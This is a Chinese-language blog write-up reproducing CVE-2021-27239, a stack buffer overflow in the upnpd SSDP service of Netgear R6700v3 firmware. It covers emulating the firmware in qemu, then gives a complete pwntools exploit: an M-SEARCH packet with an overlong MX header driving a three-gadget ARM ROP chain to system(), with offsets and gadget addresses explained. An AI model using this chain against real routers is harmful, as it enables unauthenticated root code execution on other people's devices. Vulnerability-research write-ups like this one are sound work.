Netgear R6700v3 1.0.4.102(CVE-2021-27239)

漏洞信息

此漏洞允许网络相邻攻击者在受影响的NETGEAR R6400和R6700固件版本1.0.4.98路由器上执行任意代码。利用此漏洞不需要身份验证。该漏洞存在于upnpd服务中,upnpd服务默认监听UDP 1900端口。SSDP消息中精心制作的MX报头字段可能会触发固定长度的基于堆栈的缓冲区溢出。攻击者可以利用此漏洞在根上下文中执行代码。

漏洞复现

拟机:Ubuntu20.04、qemu虚拟机
固件:R6700v3-V1.0.4.102_10.0.75.chk
工具:IDA、binwalk、qemu

固件模拟

已经知道漏洞产生于upnp服务,在binwalk解包后的文件中用find命令查找文件名包含upnp的文件,找到/usr/sbin/upnpd,IDA打开upnpd根据漏洞描述的MX报头字段搜索字符串MX确定漏洞点。见下图。
QQ截图20230928111657.png
strncpy函数复制的长度是SSDP协议中字段名’MX:‘和’\r\n’中间的字符长度,这样写复制就是我中间字符想写多长,都会被strncpy复制,造成栈溢出漏洞。此漏洞产生的本质是strncpy拷贝的最大长度,错误用法是这个长度取决于输入,所以会造成栈溢出,正确用法应该是取决于要拷贝到的地方的大小。
进入qemu虚拟机后运行程序没有回显,且用ps命令查看程序,发现程序没有运行。所以程序因为某些错误无法运行。见下图。

QQ截图20231001100959.png
如何找到程序问题出在哪?首先明确的是我知道漏洞点在何处,所以先看漏洞点所在函数的函数调用图,找到如何从main函数到此函数并触发漏洞。先去分析main函数,main函数中会有很多条件判断用来验证初始条件,初始条件不满足就直接退出。通过静态分析可知程序缺少那些文件,这是猜想。接下来通过gdb远程调试验证猜想。动调时某些条件判断后程序走到退出则证明此条件不满足。再与静态分析的猜想进行验证,最终确定程序无法运行的问题出在何处。
具体到本次复现,静态分析猜想/var/run/upnpd.pid对应的/var/run/不存在导致/var/run/upnpd.pid文件创建失败,进而走不到main中的sub_1B0E0()
函数调用图
静态分析的出现问题处的猜想
动态分析中程序在0x24644地址处就会退出调试,原因是守护进程(daemon)创建时会用fork()创建子进程,导致父进程exit()退出,就会导致动调退出。解决方法是0x2463C到0x2464C的汇编nop掉,即去掉daemon函数。动调可执行,最后将问题确定在没有/var/run/目录。
/var/run/upnpd.pid文件打开失败导致退出
具体创建/var/run/目录时,首先使用mkdir /var/run回显mkdir: cannot create directory '/var/run': No such file or directory,再用ls -la /var查看 /var 目录详细信息,回显lrwxrwxrwx 1 1000 1000 7 Sep 22 2020 /var -> tmp/var,表明 /var 实际上是一个链接,指向了tmp/var目录,最后使用mkdir -p /tmp/var/run创建/tmp/var/run目录。
QQ截图20231001155958.png
完成目录创建后再运行程序,出现报错。
QQ截图20231001155851.png
用docker中的交叉编译环境armv51-gcc交叉编译custom_nvram_r6250.c变成nvram.so。并指定程序加载nvram.so。
QQ截图20231001193515.png
建立nvram.ini,并写入配置信息。此配置信息可由真机导出,但我没有真机,所以采用一份通用的nvram信息。其中lan_ipaddr换成qemu虚拟机的ip,hwver硬件架构写成固件版本名称,friendly_name名字随便写建议也写成固件版本名称。

upnpd_debug_level=9
lan_ipaddr=192.168.76.146
hwver=R6700
friendly_name=R6700
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd。程序成功执行且nvram信息被程序获取到。
QQ截图20231001195511.png
所以固件成功模拟。

漏洞利用

from pwn import *sh = remote("192.168.76.146",1900,typ='udp')
context.log_level = 'debug'command = b'touch ./abcd.txt'
pld = b'M-SEARCH * HTTP/1.1\r\n'
pld += b'Man:"ssdp:discover"\r\n'
pld += b'MX:'
pld += b'a' * 0x8c
pld += b'\x08\x39\x01\r\n\x00'
pld += b'a' * 0xa5
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x0000BB44)
pld += command.ljust(0x400, b'\x00')
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x00017DD8)sh.send(pld)

将abcd.txt文件写入
QQ截图20231001215627.png

漏洞分析

strncpy的栈溢出漏洞,利用漏洞用到三段gadget

.text:00017DD8 04 00 A0 E1                   MOV  R0, R4
.text:00017DDC 20 CC FF EB                   BL system.text:00013908 02 DB 8D E2                   ADD SP, SP, #0x800
.text:0001390C 70 80 BD E8                   POP {R4-R6,PC}.text:0000BB44 04 00 A0 E1                   MOV R0, R4 
.text:0000BB48 0D 10 A0 E1                   MOV R1, SP
.text:0000BB4C F2 FE FF EB                   BL strcpy
.text:0000BB50 01 DB 8D E2                   ADD SP, SP, #0x400
.text:0000BB54 70 80 BD E8                   POP {R4-R6,PC}

用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop",一点一点地找gadget。所以找到这3段gadget是不简单的。
首先是得调试上。在gdb-multiarch使用target remote 192.168.76.146:9999连接上qemu虚拟机后,此时pwndbg停住了,此时在IDA中找到strcnpy函数之前地址,然后下断。然后按c,让程序运行,直到按c后pwndbg回显Continuing。此时运行poc。然后在gdb中按c运行,直到在poc请求包打入后的状态停下。
然后是找偏移。使用pwntools的cyclic找偏移。分3步:
1、生成200个字符cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
2、写验证偏移的脚本

from pwn import *sh = remote("192.168.76.146",1900,typ='udp')
context.log_level = 'debug'command = b'touch ./abcd.txt'
pld = b'M-SEARCH * HTTP/1.1\r\n'
pld += b'Man:"ssdp:discover"\r\n'
pld += b'MX:'
pld += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
pld += b'\r\n'sh.send(pld)

3、看报错信息确定偏移,见下图。得到偏移136。
QQ截图20231002171425.png
接着是找gadget。其中本次使用的3段gadget需要使用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"。即ROPgadget搭配grep逐渐缩小范围,最终找到这三段gadget。所以找到这3段gadget是不简单的。
strncpy函数复制数据时有1个特点是在允许复制的长度中遇到\x00会被截断,所以gadget中不能有\x00。本个例子也有1个特点是允许复制数据的长度是MX:之后到\r\n之间的数据的长度。所以本例子在构造poc时需要考虑这两点。注意poc中的pld += b'\x08\x39\x01\r\n\x00'这句考虑了2点:1、分析IDA反汇编的c代码可以,strncpy复制的长度是MX:与\r\n之间的内容的长度,长度是这个,内容也是这个,所以必加\r\n,而且地址这个数字没加\x00。2、\r\n之后的\x00是告诉程序SSDP协议的设备搜索请求的协议部分完成,确保整个协议格式正确可以被程序接收。
逐行分析poc。根据本poc,偏移是140比之前找到的偏移136多4,找到的偏移与最终使用的偏移不同,这是1个保留的问题。返回地址是跳到地址0x00013908执行此句汇编(将栈顶往高地址放,其实是往栈底方向放,完成栈迁移)。这句是将sp+0x800,+0x800是精心构造好的,首先是只有地址0x00013908这句汇编的第二句是POP {R4-R6,PC},只有这么两句汇编可做为gadget,所以栈顶必须跳到距当前栈顶+0x800的位置,这个位置的内容必须这部分poc内容,见下面代码行,所以需要pld += b'a' * 0xa5把内容往下顶,让这部分poc正好够上迁移过来的栈。全部输入的内容都在这里,你想使用那部分就用那部分。

pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x0000BB44)
pld += command.ljust(0x400, b'\x00')
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x00017DD8)

其中红框为打poc输入进来的全部内容
所以第1个gadget的任务是将0xcd000这全局变量地址放到r4寄存器,将下一个gadget地址放到0xBB44放到pc寄存器,此时栈顶地址里放着要执行的命令即栈里放着命令字符串。总的来说第1个gadget干这3件事。见下图。
QQ截图20231002203326.png
进入第2个gadget,首先使用strcpy函数将0xcd000这个全局变量地址里放入要执行的命令字符串。见下图。
QQ截图20231002204733.png
接下继续用add sp, sp, #0x400抬栈,抬栈操作与pld += command.ljust(0x400, b'\x00')相对应。见下图。
QQ截图20231002205137.png
然后利用POP {R4-R6,PC}将r4中放入全局变量地址(全局变量地址中是命令字符串),r5和r6没用,随便填,pc中放入下个gadget地址。所以第2个gadget干了2件事,第1件利用strcpy函数将命令字符串放入全局变量地址,第2件事将全局变量地址放到r4,pc中放入下1个gadget地址。
进入第3个gadget。干了一件事用system函数执行命令。
QQ截图20231002210248.png
整个poc构造是很紧密的。关键是找到打入poc后全部数据放在何处,还有就是要找到3个精美的gadget。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/146735.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

经典算法-----迷宫问题(栈的应用)

目录 前言 迷宫问题 算法思路 1.栈的使用方法 ​编辑2.方向的定义 代码实现 栈的cpp代码: 栈的头文件h代码: 走迷宫代码: 前言 今天学习一种算法问题,也就是我们常见的迷宫问题,本期我们通过前面学习过的数据结构---栈来…

(四)动态阈值分割

文章目录 一、基本概念二、实例解析 一、基本概念 基于局部阈值分割的dyn_threshold()算子,适用于一些无法用单一灰度进行分割的情况,如背景比较复杂,有的部分比前景目标亮,或者有的部分比前景目标暗;又比如前景目标包…

【C++进阶之路】C++11(上)

文章目录 一、列表初始化1.{}2.initializer_list 二、声明1.auto2.deltype 三、右值与左值1.基本概念2.应用场景1.左值引用2.右值引用3.完美转发4.万能引用 四、新增默认成员函数五、lambda表达式1.基本语法1.1捕捉列表1.2参数列表1.3返回类型1.4函数体 2.底层原理 总结 一、列…

一个高精度24位ADC芯片ADS1222的使用方法及参考电路程序成都控制器定制

前一段时间,在做单片机、PLC、电路板、控制器/箱、仪器仪表、机电设备或系统、自动化、工控、传感、数据采集、自控系统、控制系统,物联网,电子产品,软件、APP开发设计定制定做开发项目时,有要求用到24位的高精度ADC&a…

唤醒手腕 Matlab 游戏编程常用技术知识点详细教程(更新中)

Figure 窗口初始化 figure 使用默认属性值创建一个新的图窗窗口。生成的图窗为当前图窗。f figure(___) 返回 Figure 对象。可使用 f 在创建图窗后查询或修改其属性。figure(f) 将 f 指定的图窗作为当前图窗,并将其显示在其他所有图窗的上面。 figure(n) 查找 Nu…

数量关系 --- 方程

目录 一、代入排除法 例题 练习 二、数字特性 例题 练习 整除特性 例题 倍数特性 普通倍数 因子倍数 比例倍数 例题 练习 三、方程法 例题 练习 四、 不定方程(组) 例题 练习 一、代入排除法 例题 素数&#xff1a…

亲测可用国产GPT人工智能

分享一些靠谱、可用、可以白嫖的GPT大模型。配合大模型,工作效率都会极大提升。 清华大学ChatGLM 官网: 智谱清言中国版对话语言模型,与GLM大模型进行对话。https://chatglm.cn/开源的、支持中英双语的1300亿参数的对话语言模型&#xff0…

数据结构与算法基础(青岛大学-王卓)(8)

哎呀呀,sorry艾瑞波地,这次真的断更一个月了,又发生了很多很多事情,秋风开始瑟瑟了,老父亲身体查出肿瘤了,有病请及时就医,愿每一个人都有一个健康的身体,God bless U and FAMILY. 直…

c++三大概念要分清--重载,隐藏(重定义),覆盖(重写)

目 录 一、重载 **(1)概念:**在同一个作用域内;函数名相同,参数列表不同(参数个数不同,或者参数类型不同,或者参数个数和参数类型都不同),返回值类型可相同也…

手机号码格式校验:@PhoneQuery(作为查询参数)(自定义参数校验注解)

目标 自定义一个用于校验(作为查询参数的)手机号码格式的注解PhoneQuery,能够和现有的 Validation 兼容,使用方式和其他校验注解保持一致。 校验逻辑 可以为 null 或 空字符串;不能包含空格;必须为数字序…

JUC中的设计模式

文章目录 1. 终止模式之两阶段终止模式 1. 终止模式之两阶段终止模式 需求:用一个线程每两秒检测***状态,当不想检测时,用另一个线程将其停止 在一个线程 T1 中如何“优雅”终止线程 T2?这里的【优雅】指的是给 T2 一个料理后事…

十一,从摄像机打印HDR环境贴图

越来越接近真相了。我们很自然地想到,如果把漫游器放在中心打印,是不是就可以打印整个等距柱状投影图了呢?是的,但是,只是要注意的是,立方体贴图的内部和外部尽管一样,但是还是稍微有点模糊&…

Llama2-Chinese项目:4-量化模型

一.量化模型调用方式   下面是一个调用FlagAlpha/Llama2-Chinese-13b-Chat[1]的4bit压缩版本FlagAlpha/Llama2-Chinese-13b-Chat-4bit[2]的例子: from transformers import AutoTokenizer from auto_gptq import AutoGPTQForCausalLM model AutoGPTQForCausalLM…

实用调试技巧

引言:一个完美的代码离不开程序员的调试,所谓三分编写七分调试,今天我们给大家介绍几种实用的调试技巧。 1️⃣Bug的由来: 原意是指,小虫子,昆虫等,而人们也通常将电脑程序中的一些隐藏的缺陷或…

【GESP考级C++】1级样题 闰年统计

GSEP 1级样题 闰年统计 题目描述 小明刚刚学习了如何判断平年和闰年,他想知道两个年份之间(包含起始年份和终止年份)有几个闰年。你能帮帮他吗? 输入格式 输入一行,包含两个整数,分别表示起始年份和终止…

ChatGPT多模态升级,支持图片和语音,体验如何?

一、前言 9 月 25 日,ChatGPT 多模态增加了新的语音功能和图像功能。这些功能提供了一种新的、更直观的界面,允许我们与 ChatGPT 进行语音对话或展示我们正在谈论的内容。 ChatGPT 现在可以看、听、和说话了,而不单单是一个文本驱动的工具了。…

linux系统与应用

Windows中的硬盘和盘符的关系; 硬盘通常为一块到两块;数量与盘符没有直接关系;一块硬盘可以分为多个盘符,如c,d,e,f,g等;当然理论上也可以一块硬盘只有一个盘符;学习linux时,最好使用固态硬盘&a…

Leetcode 450. 删除二叉搜索树中的节点

文章目录 题目代码&#xff08;10.2 首刷看解析&#xff09; 题目 Leetcode 450. 删除二叉搜索树中的节点 代码&#xff08;10.2 首刷看解析&#xff09; class Solution { public:TreeNode* deleteNode(TreeNode* root, int key) {if(!root)return root;if(root->val <…

基于Java的厨艺交流平台设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

linux Mysql 8.0.16 安装搭建

文章目录 Mysql 搭建一、安装包下载二、创建用户组用户和修改权限三、配置my.cnf Mysql 搭建 一、安装包下载 mysql 下载地址&#xff1a;https://downloads.mysql.com/archives/community/ 这里有所有的mysql的版本&#xff0c;下载自己需要的版本&#xff0c;我们这里下载 …